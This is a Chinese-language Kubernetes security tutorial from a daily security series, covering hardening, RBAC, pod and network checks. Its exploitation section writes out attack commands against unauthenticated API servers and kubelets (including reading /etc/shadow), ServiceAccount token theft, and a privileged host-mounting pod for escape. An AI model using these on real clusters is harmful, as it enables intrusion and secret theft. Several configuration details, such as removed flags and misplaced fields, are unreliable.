Day-065-Kubernetes 安全实战

# Day 63: Kubernetes 安全实战

> Web 安全系列第 33 天 | 预计阅读时间：40 分钟 | 难度：★★★★☆

---

## 清单 目录

1. [Kubernetes 安全测试概述](#kubernetes 安全测试概述)
2. [集群安全配置](#集群安全配置)
3. [RBAC 安全测试](#rbac 安全测试)
4. [Pod 安全测试](#pod 安全测试)
5. [网络安全测试](#网络安全测试)
6. [Kubernetes 漏洞利用](#kubernetes 漏洞利用)
7. [Kubernetes 漏洞利用](#kubernetes 漏洞利用)
8. [安全加固实战](#安全加固实战)
9. [总结与思考](#总结与思考)
10. [参考资料](#参考资料)

---

## Kubernetes 安全测试概述

### 测试目标

**安全测试目的**：
```
1. 发现安全漏洞
   - 配置错误
   - 权限过大
   - 网络暴露

2. 评估风险
   - 漏洞影响
   - 利用难度
   - 业务影响

3. 提供修复建议
   - 技术方案
   - 优先级
   - 最佳实践
```

**测试范围**：
```
1. API Server
   - 认证授权
   - 配置安全
   - 审计日志

2. etcd
   - 加密存储
   - 访问控制
   - 备份恢复

3. Kubelet
   - 认证授权
   - 配置安全
   -  Pod 安全

4. 网络
   - 网络策略
   - Service 暴露
   - Ingress 安全
```

### 测试工具

**扫描工具**：
```
Kube-bench:
- CIS Benchmark
- 配置检查
- 合规报告

Kube-hunter:
- 渗透测试
- 漏洞扫描
- 风险评估

Popeye:
- 集群清理
- 配置检查
- 问题报告
```

**审计工具**：
```
Kubesec:
- 安全评分
- 配置检查
- 修复建议

Datadog Security:
- 运行时监控
- 威胁检测
- 合规检查

Aqua Security:
- 全生命周期
- 运行时保护
- 合规管理
```

---

## 集群安全配置

### API Server 安全

**认证配置**：
```yaml
# kube-apiserver 配置
apiVersion: v1
kind: Pod
metadata:
  name: kube-apiserver
  namespace: kube-system
spec:
  containers:
  - name: kube-apiserver
    image: k8s.gcr.io/kube-apiserver:v1.25.0
    command:
    - kube-apiserver
    - --anonymous-auth=false
    - --basic-auth-file=/etc/kubernetes/basic-auth.csv
    - --token-auth-file=/etc/kubernetes/token-auth.csv
    - --client-ca-file=/etc/kubernetes/pki/ca.crt
    - --kubelet-client-certificate=/etc/kubernetes/pki/apiserver-kubelet-client.crt
    - --kubelet-client-key=/etc/kubernetes/pki/apiserver-kubelet-client.key
```

**授权配置**：
```yaml
# 启用 RBAC
- --authorization-mode=Node,RBAC

# 启用 ABAC（不推荐）
- --authorization-mode=Node,ABAC,RBAC
- --authorization-policy-file=/etc/kubernetes/abac-policy.json

# 启用 Webhook
- --authorization-mode=Node,RBAC,Webhook
- --authorization-webhook-config-file=/etc/kubernetes/webhook-authz.conf
```

**审计配置**：
```yaml
# 启用审计日志
- --audit-log-path=/var/log/kubernetes/audit.log
- --audit-policy-file=/etc/kubernetes/audit-policy.yaml
- --audit-log-maxage=30
- --audit-log-maxbackup=10
- --audit-log-maxsize=100
```

### etcd 安全

**加密配置**：
```yaml
apiVersion: v1
kind: Pod
metadata:
  name: etcd
  namespace: kube-system
spec:
  containers:
  - name: etcd
    image: k8s.gcr.io/etcd:3.5.4-0
    command:
    - etcd
    - --cert-file=/etc/kubernetes/pki/etcd/server.crt
    - --key-file=/etc/kubernetes/pki/etcd/server.key
    - --peer-cert-file=/etc/kubernetes/pki/etcd/peer.crt
    - --peer-key-file=/etc/kubernetes/pki/etcd/peer.key
    - --trusted-ca-file=/etc/kubernetes/pki/etcd/ca.crt
    - --peer-trusted-ca-file=/etc/kubernetes/pki/etcd/ca.crt
    - --client-cert-auth=true
    - --peer-client-cert-auth=true
```

**访问控制**：
```bash
# 限制 etcd 访问
# 防火墙规则
iptables -A INPUT -p tcp --dport 2379 -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp --dport 2379 -j DROP

# 仅 API Server 可访问
# 不暴露到公网
```

### Kubelet 安全

**认证配置**：
```yaml
# kubelet 配置
apiVersion: kubelet.config.k8s.io/v1beta1
kind: KubeletConfiguration
authentication:
  anonymous:
    enabled: false
  webhook:
    enabled: true
  x509:
    clientCAFile: /etc/kubernetes/pki/ca.crt
authorization:
  mode: Webhook
```

**安全配置**：
```yaml
# 禁用只读端口
readOnlyPort: 0

# 保护内核参数
protectKernelDefaults: true

# 创建 iptables 规则
makeIPTablesUtilChains: true

# 加密凭据
encryptionProviderConfig: /etc/kubernetes/encryption-config.yaml
```

---

## RBAC 安全测试

### 权限枚举

**枚举 ClusterRole**：
```bash
# 列出所有 ClusterRole
kubectl get clusterrole

# 查看 ClusterRole 详情
kubectl describe clusterrole cluster-admin

# 查看绑定
kubectl get clusterrolebinding
kubectl describe clusterrolebinding cluster-admin
```

**枚举 Role**：
```bash
# 列出所有 Role
kubectl get role --all-namespaces

# 查看 Role 详情
kubectl describe role role-name -n namespace

# 查看绑定
kubectl get rolebinding --all-namespaces
```

**枚举 ServiceAccount**：
```bash
# 列出所有 ServiceAccount
kubectl get serviceaccount --all-namespaces

# 查看 ServiceAccount 详情
kubectl describe serviceaccount default -n default

# 查看绑定的角色
kubectl get rolebinding,clusterrolebinding -o json | \
  jq '.items[] | select(.subjects[]?.name=="default")'
```

### 权限提升

**过度权限检测**：
```bash
# 检查 cluster-admin 绑定
kubectl get clusterrolebinding \
  -o jsonpath='{.items[?(@.roleRef.name=="cluster-admin")].metadata.name}'

# 检查 wildcard 权限
kubectl get clusterrole \
  -o jsonpath='{range .items[*]}{.metadata.name}{"\t"}{.rules[*].verbs[*]}{"\n"}{end}' | \
  grep '\*'
```

**权限提升路径**：
```
1. 创建 Pod 权限
   - 挂载 ServiceAccount
   - 访问 API Server
   - 提升权限

2. 创建 Deployment 权限
   - 部署特权 Pod
   - 访问宿主机
   - 节点沦陷

3. 修改 RBAC 权限
   - 修改 Role
   - 修改 RoleBinding
   - 完全控制
```

### 最小权限配置

**命名空间隔离**：
```yaml
apiVersion: v1
kind: Namespace
metadata:
  name: development
  labels:
    name: development

---
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  namespace: development
  name: pod-reader
rules:
- apiGroups: [""]
  resources: ["pods"]
  verbs: ["get", "watch", "list"]

---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: read-pods
  namespace: development
subjects:
- kind: User
  name: dev-user
  apiGroup: rbac.authorization.k8s.io
roleRef:
  kind: Role
  name: pod-reader
  apiGroup: rbac.authorization.k8s.io
```

**服务账户最小权限**：
```yaml
apiVersion: v1
kind: ServiceAccount
metadata:
  name: app-service-account
  namespace: default
automountServiceAccountToken: false

---
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  namespace: default
  name: app-role
rules:
- apiGroups: [""]
  resources: ["configmaps", "secrets"]
  verbs: ["get"]
  resourceNames: ["app-config", "app-secret"]

---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: app-role-binding
  namespace: default
subjects:
- kind: ServiceAccount
  name: app-service-account
  namespace: default
roleRef:
  kind: Role
  name: app-role
  apiGroup: rbac.authorization.k8s.io
```

---

## Pod 安全测试

### 安全上下文

**Pod 安全上下文**：
```yaml
apiVersion: v1
kind: Pod
metadata:
  name: security-context-demo
spec:
  securityContext:
    runAsNonRoot: true
    runAsUser: 1000
    runAsGroup: 3000
    fsGroup: 2000
  containers:
  - name: app
    image: nginx:latest
    securityContext:
      allowPrivilegeEscalation: false
      readOnlyRootFilesystem: true
      runAsNonRoot: true
      runAsUser: 1000
      capabilities:
        drop:
        - ALL
        add:
        - NET_BIND_SERVICE
      seccompProfile:
        type: RuntimeDefault
```

**Pod 安全策略**：
```yaml
apiVersion: policy/v1beta1
kind: PodSecurityPolicy
metadata:
  name: restricted
spec:
  privileged: false
  allowPrivilegeEscalation: false
  requiredDropCapabilities:
  - ALL
  volumes:
  - 'configMap'
  - 'emptyDir'
  - 'projected'
  - 'secret'
  - 'downwardAPI'
  - 'persistentVolumeClaim'
  hostNetwork: false
  hostIPC: false
  hostPID: false
  runAsUser:
    rule: 'MustRunAsNonRoot'
  seLinux:
    rule: 'RunAsAny'
  fsGroup:
    rule: 'RunAsAny'
  readOnlyRootFilesystem: true
```

### 危险配置检测

**特权容器**：
```bash
# 检查特权容器
kubectl get pods --all-namespaces -o jsonpath='{range .items[*]}{.metadata.namespace}{"\t"}{.metadata.name}{"\t"}{.spec.containers[*].securityContext.privileged}{"\n"}{end}' | grep true
```

**Host 命名空间**：
```bash
# 检查 hostNetwork
kubectl get pods --all-namespaces -o jsonpath='{range .items[*]}{.metadata.namespace}{"\t"}{.metadata.name}{"\t"}{.spec.hostNetwork}{"\n"}{end}' | grep true

# 检查 hostPID
kubectl get pods --all-namespaces -o jsonpath='{range .items[*]}{.metadata.namespace}{"\t"}{.metadata.name}{"\t"}{.spec.hostPID}{"\n"}{end}' | grep true

# 检查 hostIPC
kubectl get pods --all-namespaces -o jsonpath='{range .items[*]}{.metadata.namespace}{"\t"}{.metadata.name}{"\t"}{.spec.hostIPC}{"\n"}{end}' | grep true
```

**敏感挂载**：
```bash
# 检查 Docker Socket 挂载
kubectl get pods --all-namespaces -o jsonpath='{range .items[*]}{.metadata.namespace}{"\t"}{.metadata.name}{"\t"}{.spec.volumes[*].hostPath.path}{"\n"}{end}' | grep docker.sock

# 检查宿主机根目录挂载
kubectl get pods --all-namespaces -o jsonpath='{range .items[*]}{.metadata.namespace}{"\t"}{.metadata.name}{"\t"}{.spec.volumes[*].hostPath.path}{"\n"}{end}' | grep '^/$'
```

---

## 网络安全测试

### 网络策略

**默认拒绝策略**：
```yaml
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: default-deny
  namespace: default
spec:
  podSelector: {}
  policyTypes:
  - Ingress
  - Egress
```

**允许特定流量**：
```yaml
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: allow-frontend
  namespace: default
spec:
  podSelector:
    matchLabels:
      app: frontend
  policyTypes:
  - Ingress
  ingress:
  - from:
    - podSelector:
        matchLabels:
          app: backend
    ports:
    - protocol: TCP
      port: 80
```

**网络策略审计**：
```bash
# 检查没有网络策略的命名空间
kubectl get namespaces -o jsonpath='{range .items[*]}{.metadata.name}{"\n"}{end}' | \
while read ns; do
  policies=$(kubectl get networkpolicy -n $ns --no-headers 2>/dev/null | wc -l)
  if [ $policies -eq 0 ]; then
    echo "Namespace $ns has no NetworkPolicy"
  fi
done
```

### Service 暴露

**Service 类型检查**：
```bash
# 检查 LoadBalancer Service
kubectl get svc --all-namespaces -o jsonpath='{range .items[?(@.spec.type=="LoadBalancer")]}{.metadata.namespace}{"\t"}{.metadata.name}{"\n"}{end}'

# 检查 NodePort Service
kubectl get svc --all-namespaces -o jsonpath='{range .items[?(@.spec.type=="NodePort")]}{.metadata.namespace}{"\t"}{.metadata.name}{"\n"}{end}'
```

**Ingress 安全**：
```yaml
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: secure-ingress
  annotations:
    nginx.ingress.kubernetes.io/ssl-redirect: "true"
    nginx.ingress.kubernetes.io/force-ssl-redirect: "true"
spec:
  tls:
  - hosts:
    - example.com
    secretName: tls-secret
  rules:
  - host: example.com
    http:
      paths:
      - path: /
        pathType: Prefix
        backend:
          service:
            name: web-service
            port:
              number: 80
```

---

## Kubernetes 漏洞利用

### 未授权访问

**API Server 未授权**：
```bash
# 检查未授权访问
curl -k https://<api-server>:6443/api/v1/namespaces/kube-system/pods

# 列出 Pod
curl -k https://<api-server>:6443/api/v1/namespaces/default/pods

# 创建 Pod
curl -k -X POST \
  https://<api-server>:6443/api/v1/namespaces/default/pods \
  -H "Content-Type: application/json" \
  -d @malicious-pod.json
```

**Kubelet 未授权**：
```bash
# 检查未授权 Kubelet
curl -k https://<node-ip>:10250/pods

# 执行命令
curl -k -X POST \
  https://<node-ip>:10250/run/default/malicious-pod \
  -d "cmd=cat /etc/shadow"

# 获取日志
curl -k https://<node-ip>:10250/logs/default/pod-name/container-name
```

### 权限提升

**ServiceAccount 令牌窃取**：
```bash
# 在 Pod 内访问 ServiceAccount 令牌
cat /var/run/secrets/kubernetes.io/serviceaccount/token

# 使用令牌访问 API
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -k \
  -H "Authorization: Bearer $TOKEN" \
  https://kubernetes.default/api/v1/namespaces/kube-system/secrets
```

**特权 Pod 逃逸**：
```yaml
# 创建特权 Pod
apiVersion: v1
kind: Pod
metadata:
  name: privileged-pod
spec:
  containers:
  - name: privileged
    image: alpine
    command: ["sleep", "infinity"]
    securityContext:
      privileged: true
    volumeMounts:
    - name: host
      mountPath: /host
  volumes:
  - name: host
    hostPath:
      path: /
```

### 横向移动

**访问其他命名空间**：
```bash
# 如果有跨命名空间权限
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -k \
  -H "Authorization: Bearer $TOKEN" \
  https://kubernetes.default/api/v1/namespaces/kube-system/secrets

# 访问其他 Pod
kubectl get pods --all-namespaces
kubectl exec -it pod-name -n other-namespace -- /bin/sh
```

**访问节点**：
```bash
# 如果有节点权限
kubectl get nodes
kubectl describe node node-name

# 访问节点文件系统
# 通过特权 Pod 挂载
```

---

## 安全加固实战

### 加固检查清单

**API Server 加固**：
```
□ 禁用匿名认证
□ 启用 RBAC
□ 启用审计日志
□ 限制网络访问
□ 启用 TLS
□ 定期轮换证书
```

**etcd 加固**：
```
□ 启用客户端认证
□ 启用对等认证
□ 加密存储
□ 限制网络访问
□ 定期备份
□ 监控访问
```

**Kubelet 加固**：
```
□ 禁用匿名认证
□ 启用 Webhook 认证
□ 禁用只读端口
□ 保护内核参数
□ 加密凭据
□ 限制网络访问
```

### 自动化加固

**Pod 安全准入**：
```yaml
apiVersion: admissionregistration.k8s.io/v1
kind: ValidatingWebhookConfiguration
metadata:
  name: pod-security-webhook
webhooks:
- name: pod-security.kubernetes.io
  admissionReviewVersions: ["v1"]
  sideEffects: None
  failurePolicy: Fail
  clientConfig:
    service:
      namespace: pod-security
      name: webhook
      path: /validate
  rules:
  - apiGroups: [""]
    apiVersions: ["v1"]
    operations: ["CREATE", "UPDATE"]
    resources: ["pods"]
```

**网络策略默认**：
```yaml
# 为所有命名空间创建默认拒绝策略
kubectl get namespaces -o jsonpath='{range .items[*]}{.metadata.name}{"\n"}{end}' | \
while read ns; do
  kubectl apply -f - <<EOF
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: default-deny
  namespace: $ns
spec:
  podSelector: {}
  policyTypes:
  - Ingress
  - Egress
EOF
done
```

### 持续监控

**审计日志分析**：
```bash
# 分析审计日志
cat /var/log/kubernetes/audit.log | \
  jq 'select(.objectRef.resource=="secrets")' | \
  jq -s 'group_by(.user.username) | map({user: .[0].user.username, count: length})'

# 检测异常访问
# 频繁访问敏感资源
# 非工作时间访问
# 异常用户访问
```

**运行时监控**：
```
监控指标：
- API 调用频率
- 认证失败次数
- 权限变更
- 资源创建

告警规则：
- cluster-admin 绑定
- 特权 Pod 创建
- 敏感挂载
- 网络策略变更
```

---

## 总结与思考

### 核心要点回顾

1. **集群安全**
   - API Server 加固
   - etcd 加密
   - Kubelet 安全

2. **RBAC 安全**
   - 最小权限
   - 命名空间隔离
   - 服务账户管理

3. **Pod 安全**
   - 安全上下文
   - 网络策略
   - 运行时监控

### 深入思考问题

1. **服务网格安全**？
   - Istio 安全
   - mTLS
   - 策略执行

2. **GitOps 安全**？
   - 配置管理
   - 版本控制
   - 自动化部署

3. **零信任 K8s**？
   - 持续验证
   - 微隔离
   - 动态授权

### 实战建议

**集群管理员**：
1. 安全配置
2. 定期审计
3. 补丁管理
4. 备份恢复

**开发人员**：
1. 安全 Pod 配置
2. 最小权限
3. 网络策略
4. 安全扫描

**安全人员**：
1. 持续监控
2. 漏洞管理
3. 合规检查
4. 事件响应

---

## 参考资料

### 学习资源
- [Kubernetes Security Documentation](https://kubernetes.io/docs/concepts/security/)
- [Kubernetes Hardening Guide](https://kubernetes.io/docs/concepts/security/hardening-guide/)
- [OWASP Kubernetes Security](https://owasp.org/www-project-kubernetes-security/)

### 工具资源
- [Kube-bench](https://github.com/aquasecurity/kube-bench)
- [Kube-hunter](https://github.com/aquasecurity/kube-hunter)
- [Kubesec](https://kubesec.io/)
- [Popeye](https://github.com/derailed/popeye)

### 书籍推荐
- 《Kubernetes 安全》
- 《Cloud Native Security》
- 《Kubernetes 安全实战》
- 《Container Security》

### 在线资源
- [CIS Kubernetes Benchmark](https://www.cisecurity.org/benchmark/kubernetes/)
- [Kubernetes Security Best Practices](https://kubernetes.io/docs/concepts/security/best-practices/)
- [Awesome Kubernetes Security](https://github.com/4ndersonLin/awesome-kubernetes-security)

---

**标记 明日预告**：Day 64 - 容器安全综合实战

> 本文内容仅供学习和研究使用，请勿用于非法目的。所有实验请在隔离环境中进行。

---

*本文是 365 天信息安全技术系列的第 63 篇，Web 安全部分第 33 篇，精编版本*